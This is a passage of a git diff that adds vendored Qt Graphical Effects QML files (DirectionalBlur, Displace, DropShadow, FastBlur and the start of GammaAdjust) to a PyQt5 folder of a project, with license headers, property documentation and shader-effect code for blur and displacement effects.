Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype DirectionalBlur + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-motion-blur + \brief Applies blur effect to the specified direction. + + Effect creates perceived impression that the source item appears to be + moving in the direction of the blur. Blur is applied to both sides of + each pixel, therefore setting the direction to 0 and 180 provides the + same result. + + Other available motionblur effects are \l{QtGraphicalEffects::ZoomBlur}{ZoomBlur} and + \l{QtGraphicalEffects::RadialBlur}{RadialBlur}. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_bug.png + \li \image DirectionalBlur_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet DirectionalBlur-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item that is going to be blurred. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the perceived amount of movement for each pixel. + The movement is divided evenly to both sides of each pixel. + + The quality of the blur depends on \l{DirectionalBlur::samples}{samples} + property. If length value is large, more samples are needed to keep the + visual quality at high level. + + The value ranges from 0.0 to inf. + By default the property is set to \c 0.0 (no blur). + + \table + \header + \li Output examples with different length values + \li + \li + \row + \li \image DirectionalBlur_length1.png + \li \image DirectionalBlur_length2.png + \li \image DirectionalBlur_length3.png + \row + \li \b { length: 0.0 } + \li \b { length: 32.0 } + \li \b { length: 48.0 } + \row + \li \l samples: 24 + \li \l samples: 24 + \li \l samples: 24 + \row + \li \l angle: 0 + \li \l angle: 0 + \li \l angle: 0 + \endtable + + */ + property real length: 0.0 + + /*! + This property defines how many samples are taken per pixel when blur + calculation is done. Larger value produces better quality, but is slower + to render. + + This property is not intended to be animated. Changing this property may + cause the underlying OpenGL shaders to be recompiled. + + Allowed values are between 0 and inf (practical maximum depends on GPU). + By default the property is set to \c 0 (no samples). + + */ + property int samples: 0 + + /*! + This property defines the direction for the blur. Blur is applied to + both sides of each pixel, therefore setting the direction to 0 and 180 + produces the same result. + + The value ranges from -180.0 to 180.0. + By default the property is set to \c 0.0. + + \table + \header + \li Output examples with different angle values + \li + \li + \row + \li \image DirectionalBlur_angle1.png + \li \image DirectionalBlur_angle2.png + \li \image DirectionalBlur_angle3.png + \row + \li \b { angle: 0.0 } + \li \b { angle: 45.0 } + \li \b { angle: 90.0 } + \row + \li \l samples: 24 + \li \l samples: 24 + \li \l samples: 24 + \row + \li \l length: 32 + \li \l length: 32 + \li \l length: 32 + \endtable + + */ + property real angle: 0.0 + + /*! + This property defines the blur behavior near the edges of the item, + where the pixel blurring is affected by the pixels outside the source + edges. + + If the property is set to \c true, the pixels outside the source are + interpreted to be transparent, which is similar to OpenGL + clamp-to-border extension. The blur is expanded slightly outside the + effect item area. + + If the property is set to \c false, the pixels outside the source are + interpreted to contain the same color as the pixels at the edge of the + item, which is similar to OpenGL clamp-to-edge behavior. The blur does + not expand outside the effect item area. + + By default, the property is set to \c false. + + */ + property bool transparentBorder: false + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + sourceRect: rootItem.transparentBorder ? Qt.rect(-1, -1, parent.width + 2.0, parent.height + 2.0) : Qt.rect(0, 0, 0, 0) + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: shaderItem + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property real len: rootItem.length + property bool transparentBorder: rootItem.transparentBorder + property real samples: rootItem.samples + property real weight: 1.0 / Math.max(1.0, rootItem.samples) + property variant expandPixels: transparentBorder ? Qt.size(rootItem.samples, rootItem.samples) : Qt.size(0,0) + property variant expand: transparentBorder ? Qt.size(expandPixels.width / width, expandPixels.height / height) : Qt.size(0,0) + property variant delta: Qt.size(1.0 / rootItem.width * Math.cos((rootItem.angle + 90) * Math.PI/180), 1.0 / rootItem.height * Math.sin((rootItem.angle + 90) * Math.PI/180)) + + x: transparentBorder ? -expandPixels.width - 1: 0 + y: transparentBorder ? -expandPixels.height - 1 : 0 + width: transparentBorder ? parent.width + 2.0 * expandPixels.width + 2 : parent.width + height: transparentBorder ? parent.height + 2.0 * expandPixels.height + 2 : parent.height + + property string fragmentShaderSkeleton: " + varying highp vec2 qt_TexCoord0; + uniform highp float qt_Opacity; + uniform lowp sampler2D source; + uniform highp float len; + uniform highp float samples; + uniform highp float weight; + uniform highp vec2 expand; + uniform highp vec2 delta; + + void main(void) { + highp vec2 shift = delta * len / max(1.0, samples - 1.0); + mediump vec2 texCoord = qt_TexCoord0; + gl_FragColor = vec4(0.0); + + PLACEHOLDER_EXPAND_STEPS + + texCoord -= shift * max(0.0, samples - 1.0) * 0.5; + + PLACEHOLDER_UNROLLED_LOOP + + gl_FragColor *= weight * qt_Opacity; + } + " + + function buildFragmentShader() { + var shader = "" + if (GraphicsInfo.profile === GraphicsInfo.OpenGLCoreProfile) + shader += "#version 150 core\n#define varying in\n#define texture2D texture\nout vec4 fragColor;\n#define gl_FragColor fragColor\n" + shader += fragmentShaderSkeleton + var expandSteps = "" + + if (transparentBorder) { + expandSteps += "texCoord = (texCoord - expand) / (1.0 - 2.0 * expand);" + } + + var unrolledLoop = "gl_FragColor += texture2D(source, texCoord);\n" + + if (rootItem.samples > 1) { + unrolledLoop = "" + for (var i = 0; i < rootItem.samples; i++) + unrolledLoop += "gl_FragColor += texture2D(source, texCoord); texCoord += shift;\n" + } + + shader = shader.replace("PLACEHOLDER_EXPAND_STEPS", expandSteps) + fragmentShader = shader.replace("PLACEHOLDER_UNROLLED_LOOP", unrolledLoop) + } + + onFragmentShaderChanged: sourceChanged() + onSamplesChanged: buildFragmentShader() + onTransparentBorderChanged: buildFragmentShader() + Component.onCompleted: buildFragmentShader() + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Displace.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Displace.qml new file mode 100644 index 00000000..34002229 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/Displace.qml @@ -0,0 +1,190 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype Displace + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-distortion + \brief Moves the pixels of the source item according to the given + displacement map. + + \table + \header + \li Source + \li DisplacementSource + \li Effect applied + \row + \li \image Original_bug.png + \li \image Displace_map.png + \li \image Displace_bug.png + \endtable + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet Displace-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item for the pixels that are going to + be displaced according to the data from + \l{Displace::displacementSource}{displacementSource}. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the item that is going to be used as the + displacement map. The displacementSource item gets rendered into the + intermediate pixel buffer. The red and green component values from the + result determine the displacement of the pixels from the source item. + + The format for the displacement map is similar to the tangent space + normal maps, which can be created with most 3D-modeling tools. Many + image processing tools include the support for generating normal maps. + Alternatively, the displacement map for this effect can also be a QML + element which is colored appropriately. Like any QML element, it can be + animated. It is recommended that the size of the diplacement map matches + the size of the \l{Displace::source}{source}. + + The displace data is interpreted in the RGBA format. For every pixel: + the red channel stores the x-axis displacement, and the green channel + stores the y-axis displacement. Blue and alpha channels are ignored for + this effect. + + Assuming that red channel value 1.0 is fully red (0.0 having no red at + all), this effect considers pixel component value 0.5 to cause no + displacement at all. Values above 0.5 shift pixels to the left, values + below 0.5 do the shift to the right. In a similar way, green channel + values above 0.5 displace the pixels upwards, and values below 0.5 shift + the pixels downwards. The actual amount of displacement in pixels + depends on the \l displacement property. + + */ + property variant displacementSource + + /*! + This property defines the scale for the displacement. The bigger scale, + the bigger the displacement of the pixels. The value set to 0.0 causes + no displacement. + + The value ranges from -1.0 (inverted maximum shift, according to + displacementSource) to 1.0 (maximum shift, according to + displacementSource). By default, the property is set to \c 0.0 (no + displacement). + + \table + \header + \li Output examples with different displacement values + \li + \li + \row + \li \image Displace_displacement1.png + \li \image Displace_displacement2.png + \li \image Displace_displacement3.png + \row + \li \b { displacement: -0.2 } + \li \b { displacement: 0.0 } + \li \b { displacement: 0.2 } + \endtable + + */ + property real displacement: 0.0 + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + } + + SourceProxy { + id: displacementSourceProxy + input: rootItem.displacementSource + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: parent + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + property variant source: sourceProxy.output + property variant displacementSource: displacementSourceProxy.output + property real displacement: rootItem.displacement + property real xPixel: 1.0/width + property real yPixel: 1.0/height + + anchors.fill: parent + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/displace.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/DropShadow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/DropShadow.qml new file mode 100644 index 00000000..0f30e5aa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/DropShadow.qml @@ -0,0 +1,362 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Copyright (C) 2017 Jolla Ltd, author: +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype DropShadow + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-drop-shadow + + \brief Generates a soft shadow behind the source item. + + The DropShadow effect blurs the alpha channel of the input, colorizes the + result and places it behind the source object to create a soft shadow. The + shadow's color can be changed using the \l {DropShadow::color}{color} + property. The location of the shadow can be changed with the \l + horizontalOffset and \l verticalOffset properties. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_butterfly.png + \li \image DropShadow_butterfly.png + \endtable + + The soft shadow is created by blurring the image live using a gaussian + blur. Performing blur live is a costly operation. Fullscreen gaussian blur + with even a moderate number of samples will only run at 60 fps on highend + graphics hardware. + + When the source is static, the \l cached property can be set to allocate + another buffer to avoid performing the blur every time it is drawn. + + \note This effect is available when running with OpenGL. + + \section1 Example + + The following example shows how to apply the effect. + \snippet DropShadow-example.qml example + +*/ +Item { + id: root + + DropShadowBase { + id: dbs + anchors.fill: parent + } + + /*! + This property defines the source item that is going to be used as the + source for the generated shadow. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property alias source: dbs.source + + /*! + \qmlproperty int DropShadow::radius + + Radius defines the softness of the shadow. A larger radius causes the + edges of the shadow to appear more blurry. + + The ideal blur is achieved by selecting \c samples and \c radius such + that \c {samples = 1 + radius * 2}, such as: + + \table + \header \li Radius \li Samples + \row \li 0 \e{(no blur)} \li 1 + \row \li 1 \li 3 + \row \li 2 \li 5 + \row \li 3 \li 7 + \endtable + + By default, the property is set to \c {floor(samples/2)}. + + \table + \header + \li Output examples with different radius values + \li + \li + \row + \li \image DropShadow_radius1.png + \li \image DropShadow_radius2.png + \li \image DropShadow_radius3.png + \row + \li \b { radius: 0 } + \li \b { radius: 6 } + \li \b { radius: 12 } + \row + \li \l samples: 25 + \li \l samples: 25 + \li \l samples: 25 + \row + \li \l color: #000000 + \li \l color: #000000 + \li \l color: #000000 + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 20 + \li \l verticalOffset: 20 + \li \l verticalOffset: 20 + \row + \li \l spread: 0 + \li \l spread: 0 + \li \l spread: 0 + \endtable + */ + property alias radius: dbs.radius; + + /*! + This property defines how many samples are taken per pixel when edge + softening blur calculation is done. Larger value produces better + quality, but is slower to render. + + Ideally, this value should be twice as large as the highest required + radius value plus one, such as: + + \table + \header \li Radius \li Samples + \row \li 0 \e{(no blur)} \li 1 + \row \li 1 \li 3 + \row \li 2 \li 5 + \row \li 3 \li 7 + \endtable + + By default, the property is set to \c 9. + + This property is not intended to be animated. Changing this property will + cause the underlying OpenGL shaders to be recompiled. + */ + property alias samples: dbs.samples + + /*! + This property defines the RGBA color value which is used for the shadow. + + By default, the property is set to \c "black". + + \table + \header + \li Output examples with different color values + \li + \li + \row + \li \image DropShadow_color1.png + \li \image DropShadow_color2.png + \li \image DropShadow_color3.png + \row + \li \b { color: #000000 } + \li \b { color: #0000ff } + \li \b { color: #aa000000 } + \row + \li \l radius: 8 + \li \l radius: 8 + \li \l radius: 8 + \row + \li \l samples: 17 + \li \l samples: 17 + \li \l samples: 17 + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 20 + \li \l verticalOffset: 20 + \li \l verticalOffset: 20 + \row + \li \l spread: 0 + \li \l spread: 0 + \li \l spread: 0 + \endtable + */ + property alias color: dbs.color + + /*! + \qmlproperty real QtGraphicalEffects::DropShadow::horizontalOffset + \qmlproperty real QtGraphicalEffects::DropShadow::verticalOffset + + HorizontalOffset and verticalOffset properties define the offset for the + rendered shadow compared to the DropShadow item position. Often, the + DropShadow item is anchored so that it fills the source element. In this + case, if the HorizontalOffset and verticalOffset properties are set to + 0, the shadow is rendered exactly under the source item. By changing the + offset properties, the shadow can be positioned relatively to the source + item. + + The values range from -inf to inf. By default, the properties are set to + \c 0. + + \table + \header + \li Output examples with different horizontalOffset values + \li + \li + \row + \li \image DropShadow_horizontalOffset1.png + \li \image DropShadow_horizontalOffset2.png + \li \image DropShadow_horizontalOffset3.png + \row + \li \b { horizontalOffset: -20 } + \li \b { horizontalOffset: 0 } + \li \b { horizontalOffset: 20 } + \row + \li \l radius: 4 + \li \l radius: 4 + \li \l radius: 4 + \row + \li \l samples: 9 + \li \l samples: 9 + \li \l samples: 9 + \row + \li \l color: #000000 + \li \l color: #000000 + \li \l color: #000000 + \row + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \li \l verticalOffset: 0 + \row + \li \l spread: 0 + \li \l spread: 0 + \li \l spread: 0 + \endtable + */ + property alias horizontalOffset: dbs.horizontalOffset + property alias verticalOffset: dbs.verticalOffset + + /*! + This property defines how large part of the shadow color is strengthened + near the source edges. + + The value ranges from 0.0 to 1.0. By default, the property is set to \c + 0.0. + + \table + \header + \li Output examples with different spread values + \li + \li + \row + \li \image DropShadow_spread1.png + \li \image DropShadow_spread2.png + \li \image DropShadow_spread3.png + \row + \li \b { spread: 0.0 } + \li \b { spread: 0.5 } + \li \b { spread: 1.0 } + \row + \li \l radius: 8 + \li \l radius: 8 + \li \l radius: 8 + \row + \li \l samples: 17 + \li \l samples: 17 + \li \l samples: 17 + \row + \li \l color: #000000 + \li \l color: #000000 + \li \l color: #000000 + \row + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \li \l horizontalOffset: 0 + \row + \li \l verticalOffset: 20 + \li \l verticalOffset: 20 + \li \l verticalOffset: 20 + \endtable + */ + property alias spread: dbs.spread + + /*! + \internal + + Starting Qt 5.6, this property has no effect. It is left here + for source compatibility only. + + ### Qt 6: remove + */ + property bool fast: false + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. Every time the source or effect + properties are changed, the pixels in the cache must be updated. Memory + consumption is increased, because an extra buffer of memory is required + for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + */ + property alias cached: dbs.cached + + /*! + This property determines whether or not the effect has a transparent + border. + + When set to \c true, the exterior of the item is padded with a 1 pixel + wide transparent edge, making sampling outside the source texture use + transparency instead of the edge pixels. Without this property, an + image which has opaque edges will not get a blurred shadow. + + In the image below, the Rectangle on the left has transparent borders + and has blurred edges, whereas the Rectangle on the right does not: + + By default, this property is set to \c true. + + \snippet DropShadow-transparentBorder-example.qml example + + \image DropShadow-transparentBorder.png + */ + property alias transparentBorder: dbs.transparentBorder +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/FastBlur.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/FastBlur.qml new file mode 100644 index 00000000..1d8a547d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/FastBlur.qml @@ -0,0 +1,442 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtGraphicalEffects.private 1.12 + +/*! + \qmltype FastBlur + \inqmlmodule QtGraphicalEffects + \since QtGraphicalEffects 1.0 + \inherits QtQuick2::Item + \ingroup qtgraphicaleffects-blur + \brief Applies a fast blur effect to one or more source items. + + FastBlur offers lower blur quality than + \l{QtGraphicalEffects::GaussianBlur}{GaussianBlur}, but it is faster to + render. The FastBlur effect softens the source content by blurring it with + algorithm which uses the source content downscaling and bilinear filtering. + Use this effect in situations where the source content is rapidly changing + and the highest possible blur quality is not + needed. + + \table + \header + \li Source + \li Effect applied + \row + \li \image Original_bug.png + \li \image FastBlur_bug.png + \endtable + + \note This effect is available when running with OpenGL. + s + \section1 Example + + The following example shows how to apply the effect. + \snippet FastBlur-example.qml example + +*/ +Item { + id: rootItem + + /*! + This property defines the source item that is going to be blurred. + + \note It is not supported to let the effect include itself, for + instance by setting source to the effect's parent. + */ + property variant source + + /*! + This property defines the distance of the neighboring pixels which affect + the blurring of an individual pixel. A larger radius increases the blur + effect. FastBlur algorithm may internally reduce the accuracy of the radius in order to + provide good rendering performance. + + The value ranges from 0.0 (no blur) to inf. Visual quality of the blur is reduced when + radius exceeds value 64. By default, the property is set to \c 0.0 (no blur). + + \table + \header + \li Output examples with different blur values + \li + \li + \row + \li \image FastBlur_radius1.png + \li \image FastBlur_radius2.png + \li \image FastBlur_radius3.png + \row + \li \b { radius: 0 } + \li \b { radius: 32 } + \li \b { radius: 64 } + \endtable + */ + property real radius: 0.0 + + /*! + This property defines the blur behavior near the edges of the item, + where the pixel blurring is affected by the pixels outside the source + edges. + + If the property is set to \c true, the pixels outside the source are + interpreted to be transparent, which is similar to OpenGL + clamp-to-border extension. The blur is expanded slightly outside the + effect item area. + + If the property is set to \c false, the pixels outside the source are + interpreted to contain the same color as the pixels at the edge of the + item, which is similar to OpenGL clamp-to-edge behavior. The blur does + not expand outside the effect item area. + + By default, the property is set to \c false. + + \table + \header + \li Output examples with different transparentBorder values + \li + \li + \row + \li \image FastBlur_transparentBorder1.png + \li \image FastBlur_transparentBorder2.png + \row + \li \b { transparentBorder: false } + \li \b { transparentBorder: true } + \row + \li \l radius: 64 + \li \l radius: 64 + \endtable + */ + property bool transparentBorder: false + + /*! + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + + */ + property bool cached: false + + SourceProxy { + id: sourceProxy + input: rootItem.source + } + + ShaderEffectSource { + id: cacheItem + anchors.fill: shaderItem + visible: rootItem.cached + sourceItem: shaderItem + live: true + hideSource: visible + smooth: rootItem.radius > 0 + } + + /*! \internal */ + property string __internalBlurVertexShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastblur_internal.vert" + + /*! \internal */ + property string __internalBlurFragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastblur_internal.frag" + + ShaderEffect { + id: level0 + property variant source: sourceProxy.output + anchors.fill: parent + visible: false + smooth: true + } + + ShaderEffectSource { + id: level1 + width: Math.ceil(shaderItem.width / 32) * 32 + height: Math.ceil(shaderItem.height / 32) * 32 + sourceItem: level0 + hideSource: rootItem.visible + sourceRect: transparentBorder ? Qt.rect(-64, -64, shaderItem.width, shaderItem.height) : Qt.rect(0, 0, 0, 0) + visible: false + smooth: rootItem.radius > 0 + } + + ShaderEffect { + id: effect1 + property variant source: level1 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level2 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level2 + width: level1.width / 2 + height: level1.height / 2 + sourceItem: effect1 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect2 + property variant source: level2 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level3 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level3 + width: level2.width / 2 + height: level2.height / 2 + sourceItem: effect2 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect3 + property variant source: level3 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level4 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level4 + width: level3.width / 2 + height: level3.height / 2 + sourceItem: effect3 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect4 + property variant source: level4 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level5 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level5 + width: level4.width / 2 + height: level4.height / 2 + sourceItem: effect4 + hideSource: rootItem.visible + visible: false + smooth: true + } + + ShaderEffect { + id: effect5 + property variant source: level5 + property real yStep: 1/height + property real xStep: 1/width + anchors.fill: level6 + visible: false + smooth: true + vertexShader: __internalBlurVertexShader + fragmentShader: __internalBlurFragmentShader + } + + ShaderEffectSource { + id: level6 + width: level5.width / 2 + height: level5.height / 2 + sourceItem: effect5 + hideSource: rootItem.visible + visible: false + smooth: true + } + + Item { + id: dummysource + width: 1 + height: 1 + visible: false + } + + ShaderEffectSource { + id: dummy + width: 1 + height: 1 + sourceItem: dummysource + visible: false + smooth: false + live: false + } + + ShaderEffect { + id: shaderItem + + property variant source1: level1 + property variant source2: level2 + property variant source3: level3 + property variant source4: level4 + property variant source5: level5 + property variant source6: level6 + property real lod: Math.sqrt(rootItem.radius / 64.0) * 1.2 - 0.2 + property real weight1 + property real weight2 + property real weight3 + property real weight4 + property real weight5 + property real weight6 + + x: transparentBorder ? -64 : 0 + y: transparentBorder ? -64 : 0 + width: transparentBorder ? parent.width + 128 : parent.width + height: transparentBorder ? parent.height + 128 : parent.height + + function weight(v) { + if (v <= 0.0) + return 1.0 + if (v >= 0.5) + return 0.0 + + return 1.0 - v * 2.0 + } + + function calculateWeights() { + + var w1 = weight(Math.abs(lod - 0.100)) + var w2 = weight(Math.abs(lod - 0.300)) + var w3 = weight(Math.abs(lod - 0.500)) + var w4 = weight(Math.abs(lod - 0.700)) + var w5 = weight(Math.abs(lod - 0.900)) + var w6 = weight(Math.abs(lod - 1.100)) + + var sum = w1 + w2 + w3 + w4 + w5 + w6; + weight1 = w1 / sum; + weight2 = w2 / sum; + weight3 = w3 / sum; + weight4 = w4 / sum; + weight5 = w5 / sum; + weight6 = w6 / sum; + + upateSources() + } + + function upateSources() { + var sources = new Array(); + var weights = new Array(); + + if (weight1 > 0) { + sources.push(level1) + weights.push(weight1) + } + + if (weight2 > 0) { + sources.push(level2) + weights.push(weight2) + } + + if (weight3 > 0) { + sources.push(level3) + weights.push(weight3) + } + + if (weight4 > 0) { + sources.push(level4) + weights.push(weight4) + } + + if (weight5 > 0) { + sources.push(level5) + weights.push(weight5) + } + + if (weight6 > 0) { + sources.push(level6) + weights.push(weight6) + } + + for (var j = sources.length; j < 6; j++) { + sources.push(dummy) + weights.push(0.0) + } + + source1 = sources[0] + source2 = sources[1] + source3 = sources[2] + source4 = sources[3] + source5 = sources[4] + source6 = sources[5] + + weight1 = weights[0] + weight2 = weights[1] + weight3 = weights[2] + weight4 = weights[3] + weight5 = weights[4] + weight6 = weights[5] + } + + Component.onCompleted: calculateWeights() + + onLodChanged: calculateWeights() + + fragmentShader: "qrc:/qt-project.org/imports/QtGraphicalEffects/shaders/fastblur.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/GammaAdjust.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/GammaAdjust.qml new file mode 100644 index 00000000..2c3edbb8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtGraphicalEffects/GammaAdjust.qml @@ -0,0 +1,184 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Graphical Effects module. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the 